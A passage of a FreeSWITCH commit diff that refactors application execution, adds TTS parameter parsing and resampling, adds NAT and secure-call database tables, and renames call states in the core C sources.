 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid Application %s\n", app);
@@ -1236,8 +1379,7 @@
 	if (!application_interface->application_function) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "No Function for %s\n", app);
 		switch_channel_hangup(session->channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
-		UNPROTECT_INTERFACE(application_interface);
-		return SWITCH_STATUS_FALSE;
+		switch_goto_status(SWITCH_STATUS_FALSE, done);
 	}
 
 	if (switch_channel_test_flag(session->channel, CF_PROXY_MODE) && !switch_test_flag(application_interface, SAF_SUPPORT_NOMEDIA)) {
@@ -1249,14 +1391,39 @@
 						  app, switch_channel_get_name(session->channel));
 		if (switch_channel_pre_answer(session->channel) != SWITCH_STATUS_SUCCESS) {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Well, that didn't work very well did it? ...\n");
-			return SWITCH_STATUS_FALSE;
+			switch_goto_status(SWITCH_STATUS_FALSE, done);
 		}
 	}
 
-	if (arg && (expanded = switch_channel_expand_variables(session->channel, arg)) != arg) {
-		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s Expanded String %s(%s)\n", switch_channel_get_name(session->channel), app, expanded);
+	switch_core_session_exec(session, application_interface, arg);
+
+done:
+	UNPROTECT_INTERFACE(application_interface);
+	
+	return status;
+}
+
+SWITCH_DECLARE(switch_status_t) switch_core_session_exec(switch_core_session_t *session,
+														 const switch_application_interface_t *application_interface, const char *arg)
+{
+	switch_app_log_t *log, *lp;
+	switch_event_t *event;
+	const char *var;
+	switch_channel_t *channel = switch_core_session_get_channel(session);
+	char *expanded = NULL;
+	const char *app;
+
+	switch_assert(application_interface);
+
+	app = application_interface->interface_name;
+	
+	if (arg) {
+		expanded = switch_channel_expand_variables(session->channel, arg);
 	}
 
+	switch_log_printf(SWITCH_CHANNEL_LOG_CLEAN, SWITCH_LOG_DEBUG, "EXECUTE %s %s(%s)\n", 
+					  switch_channel_get_name(session->channel), app, switch_str_nil(expanded));
+
 	if ((var = switch_channel_get_variable(session->channel, "verbose_presence")) && switch_true(var)) {
 		char *myarg = NULL;
 		if (expanded) {
@@ -1272,34 +1439,13 @@
 		}
 	}
 
-	switch_core_session_exec(session, application_interface, expanded);
-
-	if (expanded != arg) {
-		switch_safe_free(expanded);
-	}
-
-	UNPROTECT_INTERFACE(application_interface);
-	
-	return SWITCH_STATUS_SUCCESS;
-}
-
-SWITCH_DECLARE(switch_status_t) switch_core_session_exec(switch_core_session_t *session,
-														 const switch_application_interface_t *application_interface, const char *arg)
-{
-	switch_app_log_t *log, *lp;
-	switch_event_t *event;
-	const char *var;
-	switch_channel_t *channel = switch_core_session_get_channel(session);
-
-	if (!arg) {
-		arg = "";
-	}
-
 	if (!(var = switch_channel_get_variable(session->channel, SWITCH_DISABLE_APP_LOG_VARIABLE)) || (!(switch_true(var)))) {
 		log = switch_core_session_alloc(session, sizeof(*log));
 
 		log->app = switch_core_session_strdup(session, application_interface->interface_name);
-		log->arg = switch_core_session_strdup(session, arg);
+		if (expanded) {
+			log->arg = switch_core_session_strdup(session, expanded);
+		}
 
 		for (lp = session->app_log; lp && lp->next; lp = lp->next);
 
@@ -1311,13 +1457,13 @@
 	}
 	
 	switch_channel_set_variable(channel, SWITCH_CURRENT_APPLICATION_VARIABLE, application_interface->interface_name);
-	switch_channel_set_variable(channel, SWITCH_CURRENT_APPLICATION_DATA_VARIABLE, arg);
+	switch_channel_set_variable_var_check(channel, SWITCH_CURRENT_APPLICATION_DATA_VARIABLE, expanded, SWITCH_FALSE);
 	switch_channel_set_variable(channel, SWITCH_CURRENT_APPLICATION_RESPONSE_VARIABLE, NULL);
 	
 	if (switch_event_create(&event, SWITCH_EVENT_CHANNEL_EXECUTE) == SWITCH_STATUS_SUCCESS) {
 		switch_channel_event_set_data(session->channel, event);
 		switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Application", application_interface->interface_name);
-		switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Application-Data", arg);
+		switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Application-Data", expanded);
 		switch_event_fire(&event);
 	}
 
@@ -1327,17 +1473,21 @@
 
 	switch_channel_set_variable(session->channel, SWITCH_CURRENT_APPLICATION_VARIABLE, application_interface->interface_name);
 
-	application_interface->application_function(session, arg);
+	application_interface->application_function(session, expanded);
 	
 	if (switch_event_create(&event, SWITCH_EVENT_CHANNEL_EXECUTE_COMPLETE) == SWITCH_STATUS_SUCCESS) {
 		const char *resp = switch_channel_get_variable(session->channel, SWITCH_CURRENT_APPLICATION_RESPONSE_VARIABLE);
 		switch_channel_event_set_data(session->channel, event);
 		switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Application", application_interface->interface_name);
-		switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Application-Data", arg);
+		switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Application-Data", expanded);
 		switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Application-Response", resp ? resp : "_none_");
 		switch_event_fire(&event);
 	}
 
+	if (expanded != arg) {
+		switch_safe_free(expanded);
+	}
+	
 	return SWITCH_STATUS_SUCCESS;
 }
 
@@ -1365,20 +1515,19 @@
 	session->stack_count++;
 
 	new_profile = switch_caller_profile_clone(session, profile);
-	new_profile->destination_number = switch_core_session_strdup(session, exten);
+	new_profile->destination_number = switch_core_strdup(new_profile->pool, exten);
 
 	if (!switch_strlen_zero(dialplan)) {
-		new_profile->dialplan = switch_core_session_strdup(session, dialplan);
+		new_profile->dialplan = switch_core_strdup(new_profile->pool, dialplan);
 	}
 
 	if (!switch_strlen_zero(context)) {
-		new_profile->context = switch_core_session_strdup(session, context);
+		new_profile->context = switch_core_strdup(new_profile->pool, context);
 	}
 
-	if (!(dpstr = switch_core_session_strdup(session, new_profile->dialplan))) {
-		abort();
-	}
+	dpstr = switch_core_session_strdup(session, new_profile->dialplan);	
 
+	switch_channel_set_hunt_caller_profile(channel, new_profile);
 	argc = switch_separate_string(dpstr, ',', dp, (sizeof(dp) / sizeof(dp[0])));
 	for (x = 0; x < argc; x++) {
 		char *dpname = dp[x];
@@ -1398,7 +1547,10 @@
 
 		count++;
 
-		if ((extension = dialplan_interface->hunt_function(session, dparg, new_profile)) != 0) {
+		extension = dialplan_interface->hunt_function(session, dparg, new_profile);
+		UNPROTECT_INTERFACE(dialplan_interface);	
+
+		if (extension) {
 			break;
 		}
 	}
@@ -1434,6 +1586,8 @@
 	}
 
   done:
+	switch_channel_set_hunt_caller_profile(channel, NULL);
+
 	session->stack_count--;
 	return status;
 }

Modified: freeswitch/branches/seven/src/switch_core_speech.c (14471 => 14472)


--- freeswitch/branches/seven/src/switch_core_speech.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/switch_core_speech.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,15 +17,16 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
- * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ *
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Michael Jerris <mike@jerris.com>
  * Paul D. Tinsley <pdt at jackhammer.org>
+ * Christopher M. Rienzo <chris@rienzo.net>
  *
  *
  * switch_core_speech.c -- Main Core Library (speech functions)
@@ -78,17 +79,81 @@
 	}
 
 	sh->rate = rate;
-	sh->name = switch_core_strdup(pool, module_name);
+	sh->name = switch_core_strdup(sh->memory_pool, module_name);
 	sh->samples = switch_samples_per_packet(rate, interval);
+	sh->samplerate = rate;
+	sh->native_rate = rate;
 
-	return sh->speech_interface->speech_open(sh, voice_name, rate, flags);
+	if ((status = sh->speech_interface->speech_open(sh, voice_name, rate, flags)) == SWITCH_STATUS_SUCCESS) {
+		switch_set_flag(sh, SWITCH_SPEECH_FLAG_OPEN);
+	} else {
+		UNPROTECT_INTERFACE(sh->speech_interface);
+	}
+
+	return status;
 }
 
 SWITCH_DECLARE(switch_status_t) switch_core_speech_feed_tts(switch_speech_handle_t *sh, char *text, switch_speech_flag_t *flags)
 {
+	switch_status_t status = SWITCH_STATUS_SUCCESS;
+	char *param_string = NULL;
+	char *data = NULL;
+	char *ltext = NULL;
+
 	switch_assert(sh != NULL);
 
-	return sh->speech_interface->speech_feed_tts(sh, text, flags);
+	if (switch_strlen_zero(text)) {
+		status = SWITCH_STATUS_FALSE;
+		goto done;
+	}
+
+	/* Set TTS parameters from params in the text string
+	 * Params are defined as follows {name1=val1,name2=val2,name3=val3}text to speak
+	 */
+	ltext = strdup(text);
+	data = ltext;
+
+	/* strip leading spaces */
+	while (data && *data == ' ') {
+		data++;
+	}
+	if (switch_strlen_zero(data)) {
+		status = SWITCH_STATUS_FALSE;
+		goto done;
+	}
+	
+	/* extract params */
+	if (*data == '{') {
+		param_string = data + 1;
+		data = switch_find_end_paren(data, '{', '}');
+		if (switch_strlen_zero(data)) {
+			status = SWITCH_STATUS_FALSE;
+			goto done;
+		} else {
+			*data = '\0';
+			data++;
+		}
+	}
+
+	/* set TTS params */
+	if (!switch_strlen_zero(param_string)) {
+		char *param[256] = { 0 };
+		int i;
+		int argc = switch_separate_string(param_string, ',', param, (sizeof(param) / sizeof(param[0])));
+		for (i = 0; i < argc && param[i]; ++i) {
+			char *param_pair[2] = { 0 };
+			if(switch_separate_string(param[i], '=', param_pair, (sizeof(param_pair) / sizeof(param_pair[0]))) == 2) {
+				switch_core_speech_text_param_tts(sh, param_pair[0], param_pair[1]);
+			}
+		}
+	}
+
+	status = sh->speech_interface->speech_feed_tts(sh, data, flags);
+
+ done:
+
+	switch_safe_free(ltext);
+	return status;	
 }
 
 SWITCH_DECLARE(void) switch_core_speech_flush_tts(switch_speech_handle_t *sh)
@@ -128,24 +193,102 @@
 }
 
 SWITCH_DECLARE(switch_status_t) switch_core_speech_read_tts(switch_speech_handle_t *sh,
-															void *data, switch_size_t *datalen, uint32_t *rate, switch_speech_flag_t *flags)
+															void *data, switch_size_t *datalen, switch_speech_flag_t *flags)
 {
+	switch_status_t status;
+	switch_size_t want, orig_len = *datalen;
+	
 	switch_assert(sh != NULL);
+	
+	want = *datalen;
 
-	return sh->speech_interface->speech_read_tts(sh, data, datalen, rate, flags);
+ top:
+
+	if (sh->buffer && (switch_buffer_inuse(sh->buffer) >= orig_len || switch_test_flag(sh, SWITCH_SPEECH_FLAG_DONE))) {
+		if ((*datalen = switch_buffer_read(sh->buffer, data, orig_len))) {
+			return SWITCH_STATUS_SUCCESS;
+		}
+	}
+
+	if (switch_test_flag(sh, SWITCH_SPEECH_FLAG_DONE)) {
+		switch_clear_flag(sh, SWITCH_SPEECH_FLAG_DONE);
+		*datalen = 0;
+		return SWITCH_STATUS_BREAK;
+	}
+
+ more:
+
+	if ((status = sh->speech_interface->speech_read_tts(sh, data, datalen, flags)) != SWITCH_STATUS_SUCCESS) {
+		switch_set_flag(sh, SWITCH_SPEECH_FLAG_DONE);
+		goto top;
+	}
+
+	
+	if (sh->native_rate && sh->samplerate && sh->native_rate != sh->samplerate) {
+		if (!sh->resampler) {
+			if (switch_resample_create(&sh->resampler,
+									   sh->native_rate, sh->samplerate, (uint32_t) orig_len, SWITCH_RESAMPLE_QUALITY, 1) != SWITCH_STATUS_SUCCESS) {
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Unable to create resampler!\n");
+				return SWITCH_STATUS_GENERR;
+			}
+		}
+
+		switch_resample_process(sh->resampler, data, *datalen / 2);
+		if (sh->resampler->to_len < want / 2 || sh->resampler->to_len > orig_len / 2) {
+			if (!sh->buffer) {
+				int factor = sh->resampler->to_len * sh->samplerate / 1000;
+				switch_buffer_create_dynamic(&sh->buffer, factor, factor, 0);
+				switch_assert(sh->buffer);
+			}			
+			if (!sh->dbuf || sh->dbuflen < sh->resampler->to_len * 2) {
+				sh->dbuflen = sh->resampler->to_len * 2;
+				sh->dbuf = switch_core_alloc(sh->memory_pool, sh->dbuflen);
+			}
+			switch_assert(sh->resampler->to_len <= sh->dbuflen);
+		
+			memcpy((int16_t *) sh->dbuf, sh->resampler->to, sh->resampler->to_len * 2);
+			switch_buffer_write(sh->buffer, sh->dbuf, sh->resampler->to_len * 2);
+			
+			if (switch_buffer_inuse(sh->buffer) < want) {
+				*datalen = want;
+				goto more;
+			}
+			*datalen = switch_buffer_read(sh->buffer, data, orig_len);
+			status = SWITCH_STATUS_SUCCESS;
+		} else {
+			memcpy(data, sh->resampler->to, sh->resampler->to_len * 2);
+			*datalen = sh->resampler->to_len * 2;
+			status = SWITCH_STATUS_SUCCESS;
+		}
+	}
+
+	return status;
+
 }
 
 
 SWITCH_DECLARE(switch_status_t) switch_core_speech_close(switch_speech_handle_t *sh, switch_speech_flag_t *flags)
 {
 	switch_status_t status = sh->speech_interface->speech_close(sh, flags);
+	
+	if (!switch_test_flag(sh, SWITCH_SPEECH_FLAG_OPEN)) {
+		return SWITCH_STATUS_FALSE;
+	}
 
+	if (sh->buffer) {
+		switch_buffer_destroy(&sh->buffer);
+	}
+
+	switch_resample_destroy(&sh->resampler);
+
 	UNPROTECT_INTERFACE(sh->speech_interface);
 
 	if (switch_test_flag(sh, SWITCH_SPEECH_FLAG_FREE_POOL)) {
 		switch_core_destroy_memory_pool(&sh->memory_pool);
 	}
 
+	switch_clear_flag(sh, SWITCH_SPEECH_FLAG_OPEN);
+	
 	return status;
 }
 

Modified: freeswitch/branches/seven/src/switch_core_sqldb.c (14471 => 14472)


--- freeswitch/branches/seven/src/switch_core_sqldb.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/switch_core_sqldb.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Michael Jerris <mike@jerris.com>
  * Paul D. Tinsley <pdt at jackhammer.org>
  *
@@ -253,8 +253,11 @@
 		sql = switch_mprintf("delete from tasks where task_id=%q", switch_event_get_header_nil(event, "task-id"));
 		break;
 	case SWITCH_EVENT_RE_SCHEDULE:
-		sql = switch_mprintf("update tasks set task_sql_manager='%q' where task_id=%q",
-							 switch_event_get_header_nil(event, "task-sql_manager"), switch_event_get_header_nil(event, "task-id"));
+		sql = switch_mprintf("update tasks set task_desc='%q',task_group='%q', task_sql_manager='%q' where task_id=%q",
+							 switch_event_get_header_nil(event, "task-desc"), 
+							 switch_event_get_header_nil(event, "task-group"), 
+							 switch_event_get_header_nil(event, "task-sql_manager"), 
+							 switch_event_get_header_nil(event, "task-id"));
 		break;
 	case SWITCH_EVENT_CHANNEL_DESTROY:
 		sql = switch_mprintf("delete from channels where uuid='%q'", switch_event_get_header_nil(event, "unique-id"));
@@ -275,15 +278,17 @@
 			break;
 		}
 	case SWITCH_EVENT_CHANNEL_CREATE:
-		sql = switch_mprintf("insert into channels (uuid,created,created_epoch, name,state,dialplan,context) values('%q','%q','%ld','%q','%q','%q','%q')",
+		sql = switch_mprintf("insert into channels (uuid,direction,created,created_epoch, name,state,dialplan,context) "
+							 "values('%q','%q','%q','%ld','%q','%q','%q','%q')",
 							 switch_event_get_header_nil(event, "unique-id"),
+							 switch_event_get_header_nil(event, "call-direction"),
 							 switch_event_get_header_nil(event, "event-date-local"),
-							 (long)switch_timestamp(NULL),							 
+							 (long)switch_epoch_time_now(NULL),							 
 							 switch_event_get_header_nil(event, "channel-name"),
 							 switch_event_get_header_nil(event, "channel-state"),
 							 switch_event_get_header_nil(event, "caller-dialplan"),
 							 switch_event_get_header_nil(event, "caller-context")
-			);
+							 );
 		break;
 	case SWITCH_EVENT_CODEC:
 		sql =
@@ -307,7 +312,7 @@
 	case SWITCH_EVENT_CHANNEL_STATE:
 		{
 			char *state = switch_event_get_header_nil(event, "channel-state-number");
-			switch_channel_state_t state_i = CS_DONE;
+			switch_channel_state_t state_i = CS_DESTROY;
 
 			if (!switch_strlen_zero(state)) {
 				state_i = atoi(state);
@@ -315,7 +320,7 @@
 
 			switch (state_i) {
 			case CS_HANGUP:
-			case CS_DONE:
+			case CS_DESTROY:
 				break;
 			case CS_ROUTING:
 				sql = switch_mprintf("update channels set state='%s',cid_name='%q',cid_num='%q',ip_addr='%s',dest='%q',dialplan='%q',context='%q' "
@@ -339,7 +344,7 @@
 	case SWITCH_EVENT_CHANNEL_BRIDGE:
 		sql = switch_mprintf("insert into calls values ('%s', '%ld', '%s','%q','%q','%q','%q','%s','%q','%q','%q','%q','%s')",
 							 switch_event_get_header_nil(event, "event-date-local"),
-							 (long)switch_timestamp(NULL),
+							 (long)switch_epoch_time_now(NULL),
 							 switch_event_get_header_nil(event, "event-calling-function"),
 							 switch_event_get_header_nil(event, "caller-caller-id-name"),
 							 switch_event_get_header_nil(event, "caller-caller-id-number"),
@@ -366,10 +371,12 @@
 			const char *name = switch_event_get_header_nil(event, "name");
 			const char *description = switch_event_get_header_nil(event, "description");
 			const char *syntax = switch_event_get_header_nil(event, "syntax");
+			const char *key = switch_event_get_header_nil(event, "key");
+			const char *filename = switch_event_get_header_nil(event, "filename");
 			if (!switch_strlen_zero(type) && !switch_strlen_zero(name)) {
 				sql =
-					switch_mprintf("insert into interfaces (type,name,description,syntax) values('%q','%q','%q','%q')",
-								   type, name, switch_str_nil(description), switch_str_nil(syntax)
+					switch_mprintf("insert into interfaces (type,name,description,syntax,key,filename) values('%q','%q','%q','%q','%q','%q')",
+								   type, name, switch_str_nil(description), switch_str_nil(syntax), switch_str_nil(key), switch_str_nil(filename)
 					);
 			}
 			break;
@@ -383,6 +390,40 @@
 			}
 			break;
 		}
+	case SWITCH_EVENT_CALL_SECURE:
+		{
+			const char *type = switch_event_get_header_nil(event, "secure_type");
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Secure Type: %s\n", type);
+			if (switch_strlen_zero(type)) {
+				break;
+			}
+			sql = switch_mprintf("update channels set secure='%s' where uuid='%s'",
+								 type,
+								 switch_event_get_header_nil(event, "caller-unique-id"));
+			break;
+		}
+	case SWITCH_EVENT_NAT:
+		{
+			const char *op = switch_event_get_header_nil(event, "op");
+			switch_bool_t sticky = switch_true(switch_event_get_header_nil(event, "sticky"));
+			if (!strcmp("add", op)) {
+				sql = switch_mprintf("insert into nat (port, proto, sticky) values (%s, %s, %d)",
+									switch_event_get_header_nil(event, "port"),
+									switch_event_get_header_nil(event, "proto"),
+									sticky);
+			} else if (!strcmp("del", op)) {
+				sql = switch_mprintf("delete from nat where port=%s and proto=%s",
+									switch_event_get_header_nil(event, "port"),
+									switch_event_get_header_nil(event, "proto"));
+			} else if (!strcmp("status", op)) {
+				/* call show nat api */
+			} else if (!strcmp("status_response", op)) {
+				/* ignore */
+			} else {
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Unknown op for SWITCH_EVENT_NAT: %s\n", op);
+			}
+			break;
+		}
 	default:
 		break;
 	}
@@ -434,6 +475,7 @@
 		char create_channels_sql[] =
 			"CREATE TABLE channels (\n"
 			"   uuid  VARCHAR(255),\n"
+			"   direction  VARCHAR(255),\n"
 			"   created  VARCHAR(255),\n"
 			"   created_epoch  INTEGER,\n"
 			"   name  VARCHAR(255),\n"
@@ -449,12 +491,13 @@
 			"   read_codec  VARCHAR(255),\n" 
 			"   read_rate  VARCHAR(255),\n" 
 			"   write_codec  VARCHAR(255),\n" 
-			"   write_rate  VARCHAR(255)\n" 
+			"   write_rate  VARCHAR(255),\n" 
+			"   secure VARCHAR(255)\n"
 			");\ncreate index uuindex on channels (uuid);\n";
 		char create_calls_sql[] =
 			"CREATE TABLE calls (\n"
-			"   created  VARCHAR(255),\n"
-			"   created_epoch  INTEGER,\n"
+			"   call_created  VARCHAR(255),\n"
+			"   call_created_epoch  INTEGER,\n"
 			"   function  VARCHAR(255),\n"
 			"   caller_cid_name  VARCHAR(255),\n"
 			"   caller_cid_num   VARCHAR(255),\n"
@@ -474,6 +517,8 @@
 			"   type             VARCHAR(255),\n"
 			"   name             VARCHAR(255),\n" 
 			"   description      VARCHAR(255),\n" 
+			"   key              VARCHAR(255),\n" 
+			"   filename         VARCHAR(255),\n" 
 			"   syntax           VARCHAR(255)\n" 
 			");\n";
 		char create_tasks_sql[] =
@@ -483,6 +528,12 @@
 			"   task_group          VARCHAR(255),\n" 
 			"   task_sql_manager    INTEGER(8)\n" 
 			");\n";
+		char create_nat_sql[] = 
+			"CREATE TABLE nat (\n"
+			"   sticky  INTEGER,\n" 
+			"	port	INTEGER,\n"
+			"	proto	INTEGER\n"
+			");\n";
 
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Opening DB\n");
 		switch_core_db_exec(sql_manager.db, "drop table channels", NULL, NULL, NULL);
@@ -496,8 +547,10 @@
 
 		switch_core_db_test_reactive(sql_manager.db, "select sticky from complete", "DROP TABLE complete", create_complete_sql);
 		switch_core_db_test_reactive(sql_manager.db, "select sticky from aliases", "DROP TABLE aliases", create_alias_sql);
+		switch_core_db_test_reactive(sql_manager.db, "select sticky from nat", "DROP TABLE nat", create_nat_sql);
 		switch_core_db_exec(sql_manager.db, "delete from complete where sticky=0", NULL, NULL, NULL);
 		switch_core_db_exec(sql_manager.db, "delete from aliases where sticky=0", NULL, NULL, NULL);
+		switch_core_db_exec(sql_manager.db, "delete from nat where sticky=0", NULL, NULL, NULL);
 		switch_core_db_exec(sql_manager.db, "create index if not exists alias1 on aliases (alias)", NULL, NULL, NULL);
 		switch_core_db_exec(sql_manager.db, "create index if not exists complete1 on complete (a1)", NULL, NULL, NULL);
 		switch_core_db_exec(sql_manager.db, "create index if not exists complete2 on complete (a2)", NULL, NULL, NULL);
@@ -509,6 +562,7 @@
 		switch_core_db_exec(sql_manager.db, "create index if not exists complete8 on complete (a8)", NULL, NULL, NULL);
 		switch_core_db_exec(sql_manager.db, "create index if not exists complete9 on complete (a9)", NULL, NULL, NULL);
 		switch_core_db_exec(sql_manager.db, "create index if not exists complete10 on complete (a10)", NULL, NULL, NULL);
+		switch_core_db_exec(sql_manager.db, "create unique index if not exists nat_map_port_proto on nat (port,proto)", NULL, NULL, NULL);
 		switch_core_db_exec(sql_manager.db, create_channels_sql, NULL, NULL, NULL);
 		switch_core_db_exec(sql_manager.db, create_calls_sql, NULL, NULL, NULL);
 		switch_core_db_exec(sql_manager.db, create_interfaces_sql, NULL, NULL, NULL);

Modified: freeswitch/branches/seven/src/switch_core_state_machine.c (14471 => 14472)


--- freeswitch/branches/seven/src/switch_core_state_machine.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/switch_core_state_machine.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 /* 
  * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005/2006, Anthony Minessale II <anthmct@yahoo.com>
+ * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
  *
  * Version: MPL 1.1
  *
@@ -17,13 +17,13 @@
  * The Original Code is FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
  *
  * The Initial Developer of the Original Code is
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Portions created by the Initial Developer are Copyright (C)
  * the Initial Developer. All Rights Reserved.
  *
  * Contributor(s):
  * 
- * Anthony Minessale II <anthmct@yahoo.com>
+ * Anthony Minessale II <anthm@freeswitch.org>
  * Michael Jerris <mike@jerris.com>
  * Paul D. Tinsley <pdt at jackhammer.org>
  *
@@ -47,6 +47,20 @@
 					  switch_channel_get_name(session->channel), switch_channel_cause2str(switch_channel_get_cause(session->channel)));
 }
 
+static void switch_core_standard_on_reporting(switch_core_session_t *session)
+{
+
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s Standard REPORTING, cause: %s\n",
+					  switch_channel_get_name(session->channel), switch_channel_cause2str(switch_channel_get_cause(session->channel)));
+}
+
+static void switch_core_standard_on_destroy(switch_core_session_t *session)
+{
+
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s Standard DESTROY\n",
+					  switch_channel_get_name(session->channel));
+}
+
 static void switch_core_standard_on_reset(switch_core_session_t *session)
 {
 
@@ -149,9 +163,6 @@
 
 		extension->current_application = extension->current_application->next;
 
-		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "%s Execute %s(%s)\n", switch_channel_get_name(session->channel),
-						  current_application->application_name, switch_str_nil(current_application->application_data));
-
 		if (switch_core_session_execute_application(session,
 													current_application->application_name,
 													current_application->application_data) != SWITCH_STATUS_SUCCESS) {
@@ -276,12 +287,12 @@
 		midstate = state;												\
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) State %s\n", switch_channel_get_name(session->channel), __STATE_STR);	\
 		if (!driver_state_handler->on_##__STATE || (driver_state_handler->on_##__STATE(session) == SWITCH_STATUS_SUCCESS \
-													&& midstate == switch_channel_get_state(session->channel))) { \
+													)) {				\
 			while (do_extra_handlers && (application_state_handler = switch_channel_get_state_handler(session->channel, index++)) != 0) { \
 				if (!application_state_handler || !application_state_handler->on_##__STATE \
 					|| (application_state_handler->on_##__STATE			\
 						&& application_state_handler->on_##__STATE(session) == SWITCH_STATUS_SUCCESS \
-						&& midstate == switch_channel_get_state(session->channel))) { \
+						)) {											\
 					proceed++;											\
 					continue;											\
 				} else {												\
@@ -290,11 +301,13 @@
 				}														\
 			}															\
 			index = 0;													\
+			if (!proceed) global_proceed = 0;							\
+			proceed = 1;												\
 			while (do_extra_handlers && proceed && (application_state_handler = switch_core_get_state_handler(index++)) != 0) { \
 				if (!application_state_handler || !application_state_handler->on_##__STATE || \
 					(application_state_handler->on_##__STATE &&			\
 					 application_state_handler->on_##__STATE(session) == SWITCH_STATUS_SUCCESS \
-					 && midstate == switch_channel_get_state(session->channel))) { \
+					 )) {												\
 					proceed++;											\
 					continue;											\
 				} else {												\
@@ -302,7 +315,8 @@
 					break;												\
 				}														\
 			}															\
-			if (proceed) {												\
+			if (!proceed || midstate != switch_channel_get_state(session->channel)) global_proceed = 0; \
+			if (global_proceed) {										\
 				switch_core_standard_on_##__STATE(session);				\
 			}															\
 		}																\
@@ -311,13 +325,14 @@
 
 SWITCH_DECLARE(void) switch_core_session_run(switch_core_session_t *session)
 {
-	switch_channel_state_t state = CS_NEW, midstate = CS_DONE, endstate;
+	switch_channel_state_t state = CS_NEW, midstate = CS_DESTROY, endstate;
 	const switch_endpoint_interface_t *endpoint_interface;
 	const switch_state_handler_table_t *driver_state_handler = NULL;
 	const switch_state_handler_table_t *application_state_handler = NULL;
 	switch_thread_id_t thread_id;
 	jmp_buf env;
 	int sig, silly = 0;
+	uint32_t new_loops = 60000;
 
 	if (switch_test_flag((&runtime), SCF_CRASH_PROT)) {
 		thread_id = switch_thread_self();
@@ -369,47 +384,54 @@
 
 	switch_mutex_lock(session->mutex);
 
-	while ((state = switch_channel_get_state(session->channel)) != CS_DONE) {
+	while ((state = switch_channel_get_state(session->channel)) != CS_DESTROY) {
+
+		switch_channel_wait_for_flag(session->channel, CF_BLOCK_STATE, SWITCH_FALSE, 0, NULL);
+		
 		midstate = state;
-		if (state != switch_channel_get_running_state(session->channel) || state == CS_HANGUP) {
+		if (state != switch_channel_get_running_state(session->channel) || state >= CS_HANGUP) {
 			int index = 0;
 			int proceed = 1;
+			int global_proceed = 1;
 			int do_extra_handlers = 1;
-
+			
 			switch_channel_set_running_state(session->channel, state);
 			switch_channel_clear_flag(session->channel, CF_TRANSFER);
 			switch_channel_clear_flag(session->channel, CF_REDIRECT);
 
 			switch (state) {
-			case CS_NEW:		/* Just created, Waiting for first instructions */
+			case CS_NEW: /* Just created, Waiting for first instructions */
 				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) State NEW\n", switch_channel_get_name(session->channel));
 				break;
-			case CS_DONE:
+			case CS_DESTROY:
 				goto done;
-				/* HANGUP INIT ROUTING and RESET are all short term so we signal lock during their callbacks */
+			case CS_REPORTING: /* Call Detail */
+				{
+					switch_core_session_reporting_state(session);
+					switch_channel_set_state(session->channel, CS_DESTROY);
+				}
+				goto done;
 			case CS_HANGUP:	/* Deactivate and end the thread */
 				{
